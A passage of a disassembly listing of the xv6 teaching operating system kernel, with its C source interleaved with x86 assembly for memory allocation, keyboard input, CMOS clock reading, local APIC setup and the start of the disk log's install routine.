<kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 801023b4: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax 801023ba: 39 f0 cmp %esi,%eax 801023bc: 76 ea jbe 801023a8 <freerange+0x28> } 801023be: 83 c4 10 add $0x10,%esp 801023c1: 5b pop %ebx 801023c2: 5e pop %esi 801023c3: 5d pop %ebp 801023c4: c3 ret 801023c5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801023c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801023d0 <kinit1>: { 801023d0: 55 push %ebp 801023d1: 89 e5 mov %esp,%ebp 801023d3: 56 push %esi 801023d4: 53 push %ebx 801023d5: 83 ec 10 sub $0x10,%esp 801023d8: 8b 75 0c mov 0xc(%ebp),%esi initlock(&kmem.lock, "kmem"); 801023db: c7 44 24 04 8c 70 10 movl $0x8010708c,0x4(%esp) 801023e2: 80 801023e3: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 801023ea: e8 51 1c 00 00 call 80104040 <initlock> p = (char*)PGROUNDUP((uint)vstart); 801023ef: 8b 45 08 mov 0x8(%ebp),%eax kmem.use_lock = 0; 801023f2: c7 05 74 26 11 80 00 movl $0x0,0x80112674 801023f9: 00 00 00 p = (char*)PGROUNDUP((uint)vstart); 801023fc: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 80102402: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102408: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx 8010240e: 39 de cmp %ebx,%esi 80102410: 73 0a jae 8010241c <kinit1+0x4c> 80102412: eb 1a jmp 8010242e <kinit1+0x5e> 80102414: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102418: 89 da mov %ebx,%edx 8010241a: 89 c3 mov %eax,%ebx kfree(p); 8010241c: 89 14 24 mov %edx,(%esp) 8010241f: e8 bc fe ff ff call 801022e0 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102424: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax 8010242a: 39 c6 cmp %eax,%esi 8010242c: 73 ea jae 80102418 <kinit1+0x48> } 8010242e: 83 c4 10 add $0x10,%esp 80102431: 5b pop %ebx 80102432: 5e pop %esi 80102433: 5d pop %ebp 80102434: c3 ret 80102435: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102439: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102440 <kinit2>: { 80102440: 55 push %ebp 80102441: 89 e5 mov %esp,%ebp 80102443: 56 push %esi 80102444: 53 push %ebx 80102445: 83 ec 10 sub $0x10,%esp p = (char*)PGROUNDUP((uint)vstart); 80102448: 8b 45 08 mov 0x8(%ebp),%eax { 8010244b: 8b 75 0c mov 0xc(%ebp),%esi p = (char*)PGROUNDUP((uint)vstart); 8010244e: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx 80102454: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 8010245a: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx 80102460: 39 de cmp %ebx,%esi 80102462: 73 08 jae 8010246c <kinit2+0x2c> 80102464: eb 18 jmp 8010247e <kinit2+0x3e> 80102466: 66 90 xchg %ax,%ax 80102468: 89 da mov %ebx,%edx 8010246a: 89 c3 mov %eax,%ebx kfree(p); 8010246c: 89 14 24 mov %edx,(%esp) 8010246f: e8 6c fe ff ff call 801022e0 <kfree> for(; p + PGSIZE <= (char*)vend; p += PGSIZE) 80102474: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax 8010247a: 39 c6 cmp %eax,%esi 8010247c: 73 ea jae 80102468 <kinit2+0x28> kmem.use_lock = 1; 8010247e: c7 05 74 26 11 80 01 movl $0x1,0x80112674 80102485: 00 00 00 } 80102488: 83 c4 10 add $0x10,%esp 8010248b: 5b pop %ebx 8010248c: 5e pop %esi 8010248d: 5d pop %ebp 8010248e: c3 ret 8010248f: 90 nop 80102490 <kalloc>: // Allocate one 4096-byte page of physical memory. // Returns a pointer that the kernel can use. // Returns 0 if the memory cannot be allocated. char* kalloc(void) { 80102490: 55 push %ebp 80102491: 89 e5 mov %esp,%ebp 80102493: 53 push %ebx 80102494: 83 ec 14 sub $0x14,%esp struct run *r; if(kmem.use_lock) 80102497: a1 74 26 11 80 mov 0x80112674,%eax 8010249c: 85 c0 test %eax,%eax 8010249e: 75 30 jne 801024d0 <kalloc+0x40> acquire(&kmem.lock); r = kmem.freelist; 801024a0: 8b 1d 78 26 11 80 mov 0x80112678,%ebx if(r) 801024a6: 85 db test %ebx,%ebx 801024a8: 74 08 je 801024b2 <kalloc+0x22> kmem.freelist = r->next; 801024aa: 8b 13 mov (%ebx),%edx 801024ac: 89 15 78 26 11 80 mov %edx,0x80112678 if(kmem.use_lock) 801024b2: 85 c0 test %eax,%eax 801024b4: 74 0c je 801024c2 <kalloc+0x32> release(&kmem.lock); 801024b6: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 801024bd: e8 5e 1d 00 00 call 80104220 <release> return (char*)r; } 801024c2: 83 c4 14 add $0x14,%esp 801024c5: 89 d8 mov %ebx,%eax 801024c7: 5b pop %ebx 801024c8: 5d pop %ebp 801024c9: c3 ret 801024ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi acquire(&kmem.lock); 801024d0: c7 04 24 40 26 11 80 movl $0x80112640,(%esp) 801024d7: e8 54 1c 00 00 call 80104130 <acquire> 801024dc: a1 74 26 11 80 mov 0x80112674,%eax 801024e1: eb bd jmp 801024a0 <kalloc+0x10> 801024e3: 66 90 xchg %ax,%ax 801024e5: 66 90 xchg %ax,%ax 801024e7: 66 90 xchg %ax,%ax 801024e9: 66 90 xchg %ax,%ax 801024eb: 66 90 xchg %ax,%ax 801024ed: 66 90 xchg %ax,%ax 801024ef: 90 nop 801024f0 <kbdgetc>: asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801024f0: ba 64 00 00 00 mov $0x64,%edx 801024f5: ec in (%dx),%al normalmap, shiftmap, ctlmap, ctlmap }; uint st, data, c; st = inb(KBSTATP); if((st & KBS_DIB) == 0) 801024f6: a8 01 test $0x1,%al 801024f8: 0f 84 ba 00 00 00 je 801025b8 <kbdgetc+0xc8> 801024fe: b2 60 mov $0x60,%dl 80102500: ec in (%dx),%al return -1; data = inb(KBDATAP); 80102501: 0f b6 c8 movzbl %al,%ecx if(data == 0xE0){ 80102504: 81 f9 e0 00 00 00 cmp $0xe0,%ecx 8010250a: 0f 84 88 00 00 00 je 80102598 <kbdgetc+0xa8> shift |= E0ESC; return 0; } else if(data & 0x80){ 80102510: 84 c0 test %al,%al 80102512: 79 2c jns 80102540 <kbdgetc+0x50> // Key released data = (shift & E0ESC ? data : data & 0x7F); 80102514: 8b 15 b4 a5 10 80 mov 0x8010a5b4,%edx 8010251a: f6 c2 40 test $0x40,%dl 8010251d: 75 05 jne 80102524 <kbdgetc+0x34> 8010251f: 89 c1 mov %eax,%ecx 80102521: 83 e1 7f and $0x7f,%ecx shift &= ~(shiftcode[data] | E0ESC); 80102524: 0f b6 81 c0 71 10 80 movzbl -0x7fef8e40(%ecx),%eax 8010252b: 83 c8 40 or $0x40,%eax 8010252e: 0f b6 c0 movzbl %al,%eax 80102531: f7 d0 not %eax 80102533: 21 d0 and %edx,%eax 80102535: a3 b4 a5 10 80 mov %eax,0x8010a5b4 return 0; 8010253a: 31 c0 xor %eax,%eax 8010253c: c3 ret 8010253d: 8d 76 00 lea 0x0(%esi),%esi { 80102540: 55 push %ebp 80102541: 89 e5 mov %esp,%ebp 80102543: 53 push %ebx 80102544: 8b 1d b4 a5 10 80 mov 0x8010a5b4,%ebx } else if(shift & E0ESC){ 8010254a: f6 c3 40 test $0x40,%bl 8010254d: 74 09 je 80102558 <kbdgetc+0x68> // Last character was an E0 escape; or with 0x80 data |= 0x80; 8010254f: 83 c8 80 or $0xffffff80,%eax shift &= ~E0ESC; 80102552: 83 e3 bf and $0xffffffbf,%ebx data |= 0x80; 80102555: 0f b6 c8 movzbl %al,%ecx } shift |= shiftcode[data]; 80102558: 0f b6 91 c0 71 10 80 movzbl -0x7fef8e40(%ecx),%edx shift ^= togglecode[data]; 8010255f: 0f b6 81 c0 70 10 80 movzbl -0x7fef8f40(%ecx),%eax shift |= shiftcode[data]; 80102566: 09 da or %ebx,%edx shift ^= togglecode[data]; 80102568: 31 c2 xor %eax,%edx c = charcode[shift & (CTL | SHIFT)][data]; 8010256a: 89 d0 mov %edx,%eax 8010256c: 83 e0 03 and $0x3,%eax 8010256f: 8b 04 85 a0 70 10 80 mov -0x7fef8f60(,%eax,4),%eax shift ^= togglecode[data]; 80102576: 89 15 b4 a5 10 80 mov %edx,0x8010a5b4 if(shift & CAPSLOCK){ 8010257c: 83 e2 08 and $0x8,%edx c = charcode[shift & (CTL | SHIFT)][data]; 8010257f: 0f b6 04 08 movzbl (%eax,%ecx,1),%eax if(shift & CAPSLOCK){ 80102583: 74 0b je 80102590 <kbdgetc+0xa0> if('a' <= c && c <= 'z') 80102585: 8d 50 9f lea -0x61(%eax),%edx 80102588: 83 fa 19 cmp $0x19,%edx 8010258b: 77 1b ja 801025a8 <kbdgetc+0xb8> c += 'A' - 'a'; 8010258d: 83 e8 20 sub $0x20,%eax else if('A' <= c && c <= 'Z') c += 'a' - 'A'; } return c; } 80102590: 5b pop %ebx 80102591: 5d pop %ebp 80102592: c3 ret 80102593: 90 nop 80102594: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi shift |= E0ESC; 80102598: 83 0d b4 a5 10 80 40 orl $0x40,0x8010a5b4 return 0; 8010259f: 31 c0 xor %eax,%eax 801025a1: c3 ret 801025a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi else if('A' <= c && c <= 'Z') 801025a8: 8d 48 bf lea -0x41(%eax),%ecx c += 'a' - 'A'; 801025ab: 8d 50 20 lea 0x20(%eax),%edx 801025ae: 83 f9 19 cmp $0x19,%ecx 801025b1: 0f 46 c2 cmovbe %edx,%eax return c; 801025b4: eb da jmp 80102590 <kbdgetc+0xa0> 801025b6: 66 90 xchg %ax,%ax return -1; 801025b8: b8 ff ff ff ff mov $0xffffffff,%eax 801025bd: c3 ret 801025be: 66 90 xchg %ax,%ax 801025c0 <kbdintr>: void kbdintr(void) { 801025c0: 55 push %ebp 801025c1: 89 e5 mov %esp,%ebp 801025c3: 83 ec 18 sub $0x18,%esp consoleintr(kbdgetc); 801025c6: c7 04 24 f0 24 10 80 movl $0x801024f0,(%esp) 801025cd: e8 de e1 ff ff call 801007b0 <consoleintr> } 801025d2: c9 leave 801025d3: c3 ret 801025d4: 66 90 xchg %ax,%ax 801025d6: 66 90 xchg %ax,%ax 801025d8: 66 90 xchg %ax,%ax 801025da: 66 90 xchg %ax,%ax 801025dc: 66 90 xchg %ax,%ax 801025de: 66 90 xchg %ax,%ax 801025e0 <fill_rtcdate>: return inb(CMOS_RETURN); } static void fill_rtcdate(struct rtcdate *r) { 801025e0: 55 push %ebp 801025e1: 89 c1 mov %eax,%ecx 801025e3: 89 e5 mov %esp,%ebp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801025e5: ba 70 00 00 00 mov $0x70,%edx 801025ea: 53 push %ebx 801025eb: 31 c0 xor %eax,%eax 801025ed: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801025ee: bb 71 00 00 00 mov $0x71,%ebx 801025f3: 89 da mov %ebx,%edx 801025f5: ec in (%dx),%al return inb(CMOS_RETURN); 801025f6: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801025f9: b2 70 mov $0x70,%dl 801025fb: 89 01 mov %eax,(%ecx) 801025fd: b8 02 00 00 00 mov $0x2,%eax 80102602: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102603: 89 da mov %ebx,%edx 80102605: ec in (%dx),%al 80102606: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102609: b2 70 mov $0x70,%dl 8010260b: 89 41 04 mov %eax,0x4(%ecx) 8010260e: b8 04 00 00 00 mov $0x4,%eax 80102613: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102614: 89 da mov %ebx,%edx 80102616: ec in (%dx),%al 80102617: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010261a: b2 70 mov $0x70,%dl 8010261c: 89 41 08 mov %eax,0x8(%ecx) 8010261f: b8 07 00 00 00 mov $0x7,%eax 80102624: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102625: 89 da mov %ebx,%edx 80102627: ec in (%dx),%al 80102628: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010262b: b2 70 mov $0x70,%dl 8010262d: 89 41 0c mov %eax,0xc(%ecx) 80102630: b8 08 00 00 00 mov $0x8,%eax 80102635: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102636: 89 da mov %ebx,%edx 80102638: ec in (%dx),%al 80102639: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010263c: b2 70 mov $0x70,%dl 8010263e: 89 41 10 mov %eax,0x10(%ecx) 80102641: b8 09 00 00 00 mov $0x9,%eax 80102646: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102647: 89 da mov %ebx,%edx 80102649: ec in (%dx),%al 8010264a: 0f b6 d8 movzbl %al,%ebx 8010264d: 89 59 14 mov %ebx,0x14(%ecx) r->minute = cmos_read(MINS); r->hour = cmos_read(HOURS); r->day = cmos_read(DAY); r->month = cmos_read(MONTH); r->year = cmos_read(YEAR); } 80102650: 5b pop %ebx 80102651: 5d pop %ebp 80102652: c3 ret 80102653: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102659: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102660 <lapicinit>: if(!lapic) 80102660: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102665: 55 push %ebp 80102666: 89 e5 mov %esp,%ebp if(!lapic) 80102668: 85 c0 test %eax,%eax 8010266a: 0f 84 c0 00 00 00 je 80102730 <lapicinit+0xd0> lapic[index] = value; 80102670: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax) 80102677: 01 00 00 lapic[ID]; // wait for write to finish, by reading 8010267a: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010267d: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax) 80102684: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102687: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010268a: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax) 80102691: 00 02 00 lapic[ID]; // wait for write to finish, by reading 80102694: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 80102697: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax) 8010269e: 96 98 00 lapic[ID]; // wait for write to finish, by reading 801026a1: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026a4: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax) 801026ab: 00 01 00 lapic[ID]; // wait for write to finish, by reading 801026ae: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026b1: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax) 801026b8: 00 01 00 lapic[ID]; // wait for write to finish, by reading 801026bb: 8b 50 20 mov 0x20(%eax),%edx if(((lapic[VER]>>16) & 0xFF) >= 4) 801026be: 8b 50 30 mov 0x30(%eax),%edx 801026c1: c1 ea 10 shr $0x10,%edx 801026c4: 80 fa 03 cmp $0x3,%dl 801026c7: 77 6f ja 80102738 <lapicinit+0xd8> lapic[index] = value; 801026c9: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax) 801026d0: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026d3: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026d6: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 801026dd: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026e0: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026e3: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax) 801026ea: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026ed: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026f0: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 801026f7: 00 00 00 lapic[ID]; // wait for write to finish, by reading 801026fa: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801026fd: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax) 80102704: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102707: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 8010270a: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax) 80102711: 85 08 00 lapic[ID]; // wait for write to finish, by reading 80102714: 8b 50 20 mov 0x20(%eax),%edx 80102717: 90 nop while(lapic[ICRLO] & DELIVS) 80102718: 8b 90 00 03 00 00 mov 0x300(%eax),%edx 8010271e: 80 e6 10 and $0x10,%dh 80102721: 75 f5 jne 80102718 <lapicinit+0xb8> lapic[index] = value; 80102723: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax) 8010272a: 00 00 00 lapic[ID]; // wait for write to finish, by reading 8010272d: 8b 40 20 mov 0x20(%eax),%eax } 80102730: 5d pop %ebp 80102731: c3 ret 80102732: 8d b6 00 00 00 00 lea 0x0(%esi),%esi lapic[index] = value; 80102738: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax) 8010273f: 00 01 00 lapic[ID]; // wait for write to finish, by reading 80102742: 8b 50 20 mov 0x20(%eax),%edx 80102745: eb 82 jmp 801026c9 <lapicinit+0x69> 80102747: 89 f6 mov %esi,%esi 80102749: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102750 <lapicid>: if (!lapic) 80102750: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102755: 55 push %ebp 80102756: 89 e5 mov %esp,%ebp if (!lapic) 80102758: 85 c0 test %eax,%eax 8010275a: 74 0c je 80102768 <lapicid+0x18> return lapic[ID] >> 24; 8010275c: 8b 40 20 mov 0x20(%eax),%eax } 8010275f: 5d pop %ebp return lapic[ID] >> 24; 80102760: c1 e8 18 shr $0x18,%eax } 80102763: c3 ret 80102764: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return 0; 80102768: 31 c0 xor %eax,%eax } 8010276a: 5d pop %ebp 8010276b: c3 ret 8010276c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102770 <lapiceoi>: if(lapic) 80102770: a1 7c 26 11 80 mov 0x8011267c,%eax { 80102775: 55 push %ebp 80102776: 89 e5 mov %esp,%ebp if(lapic) 80102778: 85 c0 test %eax,%eax 8010277a: 74 0d je 80102789 <lapiceoi+0x19> lapic[index] = value; 8010277c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax) 80102783: 00 00 00 lapic[ID]; // wait for write to finish, by reading 80102786: 8b 40 20 mov 0x20(%eax),%eax } 80102789: 5d pop %ebp 8010278a: c3 ret 8010278b: 90 nop 8010278c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102790 <microdelay>: { 80102790: 55 push %ebp 80102791: 89 e5 mov %esp,%ebp } 80102793: 5d pop %ebp 80102794: c3 ret 80102795: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102799: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801027a0 <lapicstartap>: { 801027a0: 55 push %ebp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801027a1: ba 70 00 00 00 mov $0x70,%edx 801027a6: 89 e5 mov %esp,%ebp 801027a8: b8 0f 00 00 00 mov $0xf,%eax 801027ad: 53 push %ebx 801027ae: 8b 4d 08 mov 0x8(%ebp),%ecx 801027b1: 8b 5d 0c mov 0xc(%ebp),%ebx 801027b4: ee out %al,(%dx) 801027b5: b8 0a 00 00 00 mov $0xa,%eax 801027ba: b2 71 mov $0x71,%dl 801027bc: ee out %al,(%dx) wrv[0] = 0; 801027bd: 31 c0 xor %eax,%eax 801027bf: 66 a3 67 04 00 80 mov %ax,0x80000467 wrv[1] = addr >> 4; 801027c5: 89 d8 mov %ebx,%eax 801027c7: c1 e8 04 shr $0x4,%eax 801027ca: 66 a3 69 04 00 80 mov %ax,0x80000469 lapic[index] = value; 801027d0: a1 7c 26 11 80 mov 0x8011267c,%eax lapicw(ICRHI, apicid<<24); 801027d5: c1 e1 18 shl $0x18,%ecx lapicw(ICRLO, STARTUP | (addr>>12)); 801027d8: c1 eb 0c shr $0xc,%ebx lapic[index] = value; 801027db: 89 88 10 03 00 00 mov %ecx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 801027e1: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801027e4: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax) 801027eb: c5 00 00 lapic[ID]; // wait for write to finish, by reading 801027ee: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801027f1: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax) 801027f8: 85 00 00 lapic[ID]; // wait for write to finish, by reading 801027fb: 8b 50 20 mov 0x20(%eax),%edx lapic[index] = value; 801027fe: 89 88 10 03 00 00 mov %ecx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 80102804: 8b 50 20 mov 0x20(%eax),%edx lapicw(ICRLO, STARTUP | (addr>>12)); 80102807: 89 da mov %ebx,%edx 80102809: 80 ce 06 or $0x6,%dh lapic[index] = value; 8010280c: 89 90 00 03 00 00 mov %edx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 80102812: 8b 58 20 mov 0x20(%eax),%ebx lapic[index] = value; 80102815: 89 88 10 03 00 00 mov %ecx,0x310(%eax) lapic[ID]; // wait for write to finish, by reading 8010281b: 8b 48 20 mov 0x20(%eax),%ecx lapic[index] = value; 8010281e: 89 90 00 03 00 00 mov %edx,0x300(%eax) lapic[ID]; // wait for write to finish, by reading 80102824: 8b 40 20 mov 0x20(%eax),%eax } 80102827: 5b pop %ebx 80102828: 5d pop %ebp 80102829: c3 ret 8010282a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102830 <cmostime>: // qemu seems to use 24-hour GWT and the values are BCD encoded void cmostime(struct rtcdate *r) { 80102830: 55 push %ebp 80102831: ba 70 00 00 00 mov $0x70,%edx 80102836: 89 e5 mov %esp,%ebp 80102838: b8 0b 00 00 00 mov $0xb,%eax 8010283d: 57 push %edi 8010283e: 56 push %esi 8010283f: 53 push %ebx 80102840: 83 ec 4c sub $0x4c,%esp 80102843: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102844: b2 71 mov $0x71,%dl 80102846: ec in (%dx),%al 80102847: 88 45 b7 mov %al,-0x49(%ebp) 8010284a: 8d 5d b8 lea -0x48(%ebp),%ebx struct rtcdate t1, t2; int sb, bcd; sb = cmos_read(CMOS_STATB); bcd = (sb & (1 << 2)) == 0; 8010284d: 80 65 b7 04 andb $0x4,-0x49(%ebp) 80102851: 8d 7d d0 lea -0x30(%ebp),%edi 80102854: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102858: be 70 00 00 00 mov $0x70,%esi // make sure CMOS doesn't modify time while we read it for(;;) { fill_rtcdate(&t1); 8010285d: 89 d8 mov %ebx,%eax 8010285f: e8 7c fd ff ff call 801025e0 <fill_rtcdate> 80102864: b8 0a 00 00 00 mov $0xa,%eax 80102869: 89 f2 mov %esi,%edx 8010286b: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010286c: ba 71 00 00 00 mov $0x71,%edx 80102871: ec in (%dx),%al if(cmos_read(CMOS_STATA) & CMOS_UIP) 80102872: 84 c0 test %al,%al 80102874: 78 e7 js 8010285d <cmostime+0x2d> continue; fill_rtcdate(&t2); 80102876: 89 f8 mov %edi,%eax 80102878: e8 63 fd ff ff call 801025e0 <fill_rtcdate> if(memcmp(&t1, &t2, sizeof(t1)) == 0) 8010287d: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp) 80102884: 00 80102885: 89 7c 24 04 mov %edi,0x4(%esp) 80102889: 89 1c 24 mov %ebx,(%esp) 8010288c: e8 2f 1a 00 00 call 801042c0 <memcmp> 80102891: 85 c0 test %eax,%eax 80102893: 75 c3 jne 80102858 <cmostime+0x28> break; } // convert if(bcd) { 80102895: 80 7d b7 00 cmpb $0x0,-0x49(%ebp) 80102899: 75 78 jne 80102913 <cmostime+0xe3> #define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf)) CONV(second); 8010289b: 8b 45 b8 mov -0x48(%ebp),%eax 8010289e: 89 c2 mov %eax,%edx 801028a0: 83 e0 0f and $0xf,%eax 801028a3: c1 ea 04 shr $0x4,%edx 801028a6: 8d 14 92 lea (%edx,%edx,4),%edx 801028a9: 8d 04 50 lea (%eax,%edx,2),%eax 801028ac: 89 45 b8 mov %eax,-0x48(%ebp) CONV(minute); 801028af: 8b 45 bc mov -0x44(%ebp),%eax 801028b2: 89 c2 mov %eax,%edx 801028b4: 83 e0 0f and $0xf,%eax 801028b7: c1 ea 04 shr $0x4,%edx 801028ba: 8d 14 92 lea (%edx,%edx,4),%edx 801028bd: 8d 04 50 lea (%eax,%edx,2),%eax 801028c0: 89 45 bc mov %eax,-0x44(%ebp) CONV(hour ); 801028c3: 8b 45 c0 mov -0x40(%ebp),%eax 801028c6: 89 c2 mov %eax,%edx 801028c8: 83 e0 0f and $0xf,%eax 801028cb: c1 ea 04 shr $0x4,%edx 801028ce: 8d 14 92 lea (%edx,%edx,4),%edx 801028d1: 8d 04 50 lea (%eax,%edx,2),%eax 801028d4: 89 45 c0 mov %eax,-0x40(%ebp) CONV(day ); 801028d7: 8b 45 c4 mov -0x3c(%ebp),%eax 801028da: 89 c2 mov %eax,%edx 801028dc: 83 e0 0f and $0xf,%eax 801028df: c1 ea 04 shr $0x4,%edx 801028e2: 8d 14 92 lea (%edx,%edx,4),%edx 801028e5: 8d 04 50 lea (%eax,%edx,2),%eax 801028e8: 89 45 c4 mov %eax,-0x3c(%ebp) CONV(month ); 801028eb: 8b 45 c8 mov -0x38(%ebp),%eax 801028ee: 89 c2 mov %eax,%edx 801028f0: 83 e0 0f and $0xf,%eax 801028f3: c1 ea 04 shr $0x4,%edx 801028f6: 8d 14 92 lea (%edx,%edx,4),%edx 801028f9: 8d 04 50 lea (%eax,%edx,2),%eax 801028fc: 89 45 c8 mov %eax,-0x38(%ebp) CONV(year ); 801028ff: 8b 45 cc mov -0x34(%ebp),%eax 80102902: 89 c2 mov %eax,%edx 80102904: 83 e0 0f and $0xf,%eax 80102907: c1 ea 04 shr $0x4,%edx 8010290a: 8d 14 92 lea (%edx,%edx,4),%edx 8010290d: 8d 04 50 lea (%eax,%edx,2),%eax 80102910: 89 45 cc mov %eax,-0x34(%ebp) #undef CONV } *r = t1; 80102913: 8b 4d 08 mov 0x8(%ebp),%ecx 80102916: 8b 45 b8 mov -0x48(%ebp),%eax 80102919: 89 01 mov %eax,(%ecx) 8010291b: 8b 45 bc mov -0x44(%ebp),%eax 8010291e: 89 41 04 mov %eax,0x4(%ecx) 80102921: 8b 45 c0 mov -0x40(%ebp),%eax 80102924: 89 41 08 mov %eax,0x8(%ecx) 80102927: 8b 45 c4 mov -0x3c(%ebp),%eax 8010292a: 89 41 0c mov %eax,0xc(%ecx) 8010292d: 8b 45 c8 mov -0x38(%ebp),%eax 80102930: 89 41 10 mov %eax,0x10(%ecx) 80102933: 8b 45 cc mov -0x34(%ebp),%eax 80102936: 89 41 14 mov %eax,0x14(%ecx) r->year += 2000; 80102939: 81 41 14 d0 07 00 00 addl $0x7d0,0x14(%ecx) } 80102940: 83 c4 4c add $0x4c,%esp 80102943: 5b pop %ebx 80102944: 5e pop %esi 80102945: 5f pop %edi 80102946: 5d pop %ebp 80102947: c3 ret 80102948: 66 90 xchg %ax,%ax 8010294a: 66 90 xchg %ax,%ax 8010294c: 66 90 xchg %ax,%ax 8010294e: 66 90 xchg %ax,%ax 80102950 <install_trans>: } // Copy committed blocks from log to their home location static void install_trans(void) { 80102950: 55 push %ebp 80102951: 89 e5 mov %esp,%ebp 80102953: 57 push %edi 80102954: 56 push %esi 80102955: 53 push %ebx int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102956: 31 db xor %ebx,%ebx { 80102958: 83 ec 1c sub $0x1c,%esp for (tail = 0; tail < log.lh.n; tail++) { 8010295b: a1 c8 26 11 80 mov 0x801126c8,%eax 80102960: 85 c0 test %eax,%eax 80102962: 7e 78 jle 801029dc <install_trans+0x8c> 80102964: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block 80102968: a1 b4 26 11 80 mov 0x801126b4,%eax 8010296d: 01 d8 add %ebx,%eax 8010296f: 83 c0 01 add $0x1,%eax 80102972: 89 44 24 04 mov %eax,0x4(%esp) 80102976: a1 c4 26 11 80 mov 0x801126c4,%eax 8010297b: 89 04 24 mov %eax,(%esp) 8010297e: e8 4d d7 ff ff call 801000d0 <bread> 80102983: 89 c7 mov %eax,%edi struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read 